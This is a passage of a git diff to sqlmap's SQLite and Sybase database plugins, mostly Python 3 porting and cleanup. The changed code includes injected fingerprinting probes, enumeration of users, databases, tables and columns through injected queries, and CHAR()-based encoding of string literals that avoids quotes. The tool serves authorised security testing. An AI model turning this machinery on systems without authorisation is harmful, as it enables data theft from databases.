possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Spanner it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py index 0f7dcab83ea..cb8703b7a6f 100644 --- a/plugins/dbms/sqlite/__init__.py +++ b/plugins/dbms/sqlite/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -23,11 +23,7 @@ class SQLiteMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = SQLITE_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.SQLITE] = Syntax.escape diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index dae2a3e7844..0b167273df1 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -1,25 +1,25 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: import sqlite3 -except ImportError: +except: pass import logging -from lib.core.convert import utf8encode +from lib.core.common import getSafeExString +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapMissingDependence from plugins.generic.connector import Connector as GenericConnector - class Connector(GenericConnector): """ Homepage: http://pysqlite.googlecode.com/ and http://packages.ubuntu.com/quantal/python-sqlite @@ -46,9 +46,9 @@ def connect(self): cursor.execute("SELECT * FROM sqlite_master") cursor.close() - except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError), msg: + except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError): warnMsg = "unable to connect using SQLite 3 library, trying with SQLite 2" - logger.warn(warnMsg) + logger.warning(warnMsg) try: try: @@ -60,8 +60,8 @@ def connect(self): self.__sqlite = sqlite self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout) - except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError), msg: - raise SqlmapConnectionException(msg[0]) + except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() @@ -69,17 +69,17 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except self.__sqlite.OperationalError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[0]) + except self.__sqlite.OperationalError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) return None def execute(self, query): try: - self.cursor.execute(utf8encode(query)) - except self.__sqlite.OperationalError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[0]) - except self.__sqlite.DatabaseError, msg: - raise SqlmapConnectionException(msg[0]) + self.cursor.execute(getText(query)) + except self.__sqlite.OperationalError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + except self.__sqlite.DatabaseError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index db1d3c95453..18df65145e8 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.data import logger @@ -10,48 +10,47 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getCurrentUser(self): warnMsg = "on SQLite it is not possible to enumerate the current user" - logger.warn(warnMsg) + logger.warning(warnMsg) def getCurrentDb(self): warnMsg = "on SQLite it is not possible to get name of the current database" - logger.warn(warnMsg) + logger.warning(warnMsg) - def isDba(self): + def isDba(self, user=None): warnMsg = "on SQLite the current user has all privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) + + return True def getUsers(self): warnMsg = "on SQLite it is not possible to enumerate the users" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on SQLite it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on SQLite it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getDbs(self): warnMsg = "on SQLite it is not possible to enumerate databases (use only '--tables')" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchDb(self): warnMsg = "on SQLite it is not possible to search databases" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] @@ -61,4 +60,10 @@ def searchColumn(self): def getHostname(self): warnMsg = "on SQLite it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on SQLite it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index ed1e5c15287..ad1bc2622d4 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -1,21 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on SQLite it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on SQLite it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 6c42a6374ad..5a2d7f159c6 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend @@ -45,9 +45,11 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() @@ -64,7 +66,7 @@ def checkDbms(self): * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions """ - if not conf.extensiveFp and (Backend.isDbmsWithin(SQLITE_ALIASES) or (conf.dbms or "").lower() in SQLITE_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(SQLITE_ALIASES): setDbms(DBMS.SQLITE) self.getBanner() @@ -84,14 +86,14 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE - logger.warn(warnMsg) + logger.warning(warnMsg) return False else: infoMsg = "actively fingerprinting %s" % DBMS.SQLITE logger.info(infoMsg) - result = inject.checkBooleanExpression("RANDOMBLOB(-1)>0") + result = inject.checkBooleanExpression("RANDOMBLOB(-1) IS NOT NULL") version = '3' if result else '2' Backend.setVersion(version) @@ -102,7 +104,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index 53c54f9f6a9..62a9379fa50 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -1,41 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import binascii - -from lib.core.common import Backend -from lib.core.common import isDBMSVersionAtLeast -from lib.core.settings import UNICODE_ENCODING +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ - >>> Backend.setVersion('2') - ['2'] - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - "SELECT 'abcdefgh' FROM foobar" - >>> Backend.setVersion('3') - ['3'] - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - "SELECT CAST(X'6162636465666768' AS TEXT) FROM foobar" + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97,98,99,100,101,102,103,104) FROM foobar" + True """ def escaper(value): - # Reference: http://stackoverflow.com/questions/3444335/how-do-i-quote-a-utf-8-string-literal-in-sqlite3 - return "CAST(X'%s' AS TEXT)" % binascii.hexlify(value.encode(UNICODE_ENCODING) if isinstance(value, unicode) else value) - - retVal = expression - - if isDBMSVersionAtLeast('3'): - retVal = Syntax._escape(expression, quote, escaper) + return "CHAR(%s)" % ','.join("%d" % _ for _ in getOrds(value)) - return retVal + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index 65fe09792f7..1ed29162e6f 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -1,17 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on SQLite it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py index b2df16926b6..02b471b1636 100644 --- a/plugins/dbms/sybase/__init__.py +++ b/plugins/dbms/sybase/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -23,11 +23,7 @@ class SybaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = SYBASE_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.SYBASE] = Syntax.escape diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index 3b1c7be75fd..308f9081217 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -1,19 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: import _mssql import pymssql -except ImportError: +except: pass import logging -from lib.core.convert import utf8encode +from lib.core.common import getSafeExString +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -33,16 +34,15 @@ class Connector(GenericConnector): to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) - except pymssql.OperationalError, msg: - raise SqlmapConnectionException(msg) + except (pymssql.Error, _mssql.MssqlDatabaseException) as ex: + raise SqlmapConnectionException(ex) + except ValueError: + raise SqlmapConnectionException self.initCursor() self.printConnected() @@ -50,27 +50,36 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) + except (pymssql.Error, _mssql.MssqlDatabaseException) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) return None - def execute(self, query): + def execute(self, query, commit=True): retVal = False try: - self.cursor.execute(utf8encode(query)) + self.cursor.execute(getText(query)) + # Commit non-SELECT (DML/DDL) here: direct() routes those to execute() alone, so without this a + # '--sql-query'/'--sql-shell' write was silently rolled back on connection close. select() passes + # commit=False and commits only AFTER fetchall(), because on pymssql commit() discards the open + # result cursor (which otherwise emptied every SELECT result). + if commit: + try: + self.connector.commit() + except pymssql.OperationalError: + pass retVal = True - except (pymssql.OperationalError, pymssql.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) - except pymssql.InternalError, msg: - raise SqlmapConnectionException(msg) + except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) + except pymssql.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) return retVal def select(self, query): retVal = None - if self.execute(query): + if self.execute(query, commit=False): retVal = self.fetchall() try: diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index 09a0356afd9..cc984bce978 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -1,40 +1,44 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.common import Backend +import re + from lib.core.common import filterPairValues +from lib.core.common import isListLike from lib.core.common import isTechniqueAvailable -from lib.core.common import randomStr +from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import paths from lib.core.data import queries from lib.core.dicts import SYBASE_TYPES +from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB +from lib.utils.brute import columnExists from lib.utils.pivotdumptable import pivotDumpTable from plugins.generic.enumeration import Enumeration as GenericEnumeration +from thirdparty import six +from thirdparty.six.moves import zip as _zip class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) - rootQuery = queries[Backend.getIdentifiedDbms()].users + rootQuery = queries[DBMS.SYBASE].users - randStr = randomStr() query = rootQuery.inband.query if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: @@ -43,19 +47,19 @@ def getUsers(self): blinds = (True,) for blind in blinds: - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: - kb.data.cachedUsers = retVal[0].values()[0] + kb.data.cachedUsers = list(retVal[0].values())[0] break return kb.data.cachedUsers - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on Sybase it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " warnMsg += "or not the database users are database administrators" - logger.warn(warnMsg) + logger.warning(warnMsg) users = [] areAdmins = set() @@ -89,8 +93,7 @@ def getDbs(self): infoMsg = "fetching database names" logger.info(infoMsg) - rootQuery = queries[Backend.getIdentifiedDbms()].dbs - randStr = randomStr() + rootQuery = queries[DBMS.SYBASE].dbs query = rootQuery.inband.query if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: @@ -99,10 +102,10 @@ def getDbs(self): blinds = [True] for blind in blinds: - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: - kb.data.cachedDbs = retVal[0].values()[0] + kb.data.cachedDbs = next(six.itervalues(retVal[0])) break if kb.data.cachedDbs: @@ -120,17 +123,17 @@ def getTables(self, bruteForce=None): conf.db = self.getCurrentDb() if conf.db: - dbs = conf.db.split(",") + dbs = conf.db.split(',') else: dbs = self.getDbs() for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) - dbs = filter(None, dbs) + dbs = [_ for _ in dbs if _] infoMsg = "fetching tables for database" - infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) + infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs))) logger.info(infoMsg) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: @@ -138,16 +141,15 @@ def getTables(self, bruteForce=None): else: blinds = [True] - rootQuery = queries[Backend.getIdentifiedDbms()].tables + rootQuery = queries[DBMS.SYBASE].tables for db in dbs: for blind in blinds: - randStr = randomStr() query = rootQuery.inband.query % db - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: - for table in retVal[0].values()[0]: + for table in next(six.itervalues(retVal[0])): if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: @@ -159,7 +161,7 @@ def getTables(self, bruteForce=None): return kb.data.cachedTables - def getColumns(self, onlyColNames=False): + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: @@ -167,12 +169,12 @@ def getColumns(self, onlyColNames=False): warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: - if ',' in conf.db: + if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) @@ -180,25 +182,25 @@ def getColumns(self, onlyColNames=False): conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: - colList = conf.col.split(",") + colList = conf.col.split(',') else: colList = [] - if conf.excludeCol: - colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + if conf.exclude: + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: - tblList = conf.tbl.split(",") + tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: - tblList = kb.data.cachedTables.values() + tblList = list(six.itervalues(kb.data.cachedTables)) - if isinstance(tblList[0], (set, tuple, list)): + if tblList and isListLike(tblList[0]): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " @@ -206,9 +208,46 @@ def getColumns(self, onlyColNames=False): raise SqlmapNoneDataException(errMsg) for tbl in tblList: - tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl) + tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) + + if bruteForce: + resumeAvailable = False + + for tbl in tblList: + for db, table, colName, colType in kb.brute.columns: + if db == conf.db and table == tbl: + resumeAvailable = True + break + + if resumeAvailable and not conf.freshQueries or colList: + columns = {} + + for column in colList: + columns[column] = None + + for tbl in tblList: + for db, table, colName, colType in kb.brute.columns: + if db == conf.db and table == tbl: + columns[colName] = colType + + if conf.db in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns + else: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} - rootQuery = queries[Backend.getIdentifiedDbms()].columns + return kb.data.cachedColumns + + message = "do you want to use common column existence check? [y/N/q] " + choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() + + if choice == 'N': + return + elif choice == 'Q': + raise SqlmapUserQuitException + else: + return columnExists(paths.COMMON_COLUMNS) + + rootQuery = queries[DBMS.SYBASE].columns if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] @@ -225,10 +264,10 @@ def getColumns(self, onlyColNames=False): return {conf.db: kb.data.cachedColumns[conf.db]} - if colList: - table = {} - table[safeSQLIdentificatorNaming(tbl)] = dict((_, None) for _ in colList) - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table + if dumpMode and colList: + if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {} + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) continue infoMsg = "fetching columns " @@ -237,19 +276,19 @@ def getColumns(self, onlyColNames=False): logger.info(infoMsg) for blind in blinds: - randStr = randomStr() query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.usertype' % randStr], blind=blind) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.usertype' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: table = {} columns = {} - for name, type_ in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.usertype" % randStr])): - columns[name] = SYBASE_TYPES.get(type_, type_) + for name, type_ in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.usertype" % kb.aliasName])): + columns[name] = SYBASE_TYPES.get(int(type_) if hasattr(type_, "isdigit") and type_.isdigit() else type_, type_) - table[safeSQLIdentificatorNaming(tbl)] = columns - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table + if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {} + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns break @@ -257,26 +296,32 @@ def getColumns(self, onlyColNames=False): def searchDb(self): warnMsg = "on Sybase searching of databases is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Sybase searching of tables is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Sybase searching of columns is not implemented" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def search(self): warnMsg = "on Sybase search option is not available" - logger.warn(warnMsg) + logger.warning(warnMsg) def getHostname(self): warnMsg = "on Sybase it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Sybase it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index c5dbc6943c8..0a3e73bf7b4 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -1,21 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on Sybase it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Sybase it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index 762ab95ebd2..64b66ba4268 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.common import unArrayizeValue +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -46,9 +47,11 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() @@ -58,9 +61,7 @@ def getFingerprint(self): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \ - or (conf.dbms or "").lower() in SYBASE_ALIASES) and Backend.getVersion() and \ - Backend.getVersion().isdigit(): + if not conf.extensiveFp and Backend.isDbmsWithin(SYBASE_ALIASES): setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion())) self.getBanner() @@ -85,7 +86,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -114,6 +115,6 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index a0f1775d416..53f0bea1bc1 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -1,24 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" + True + >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT 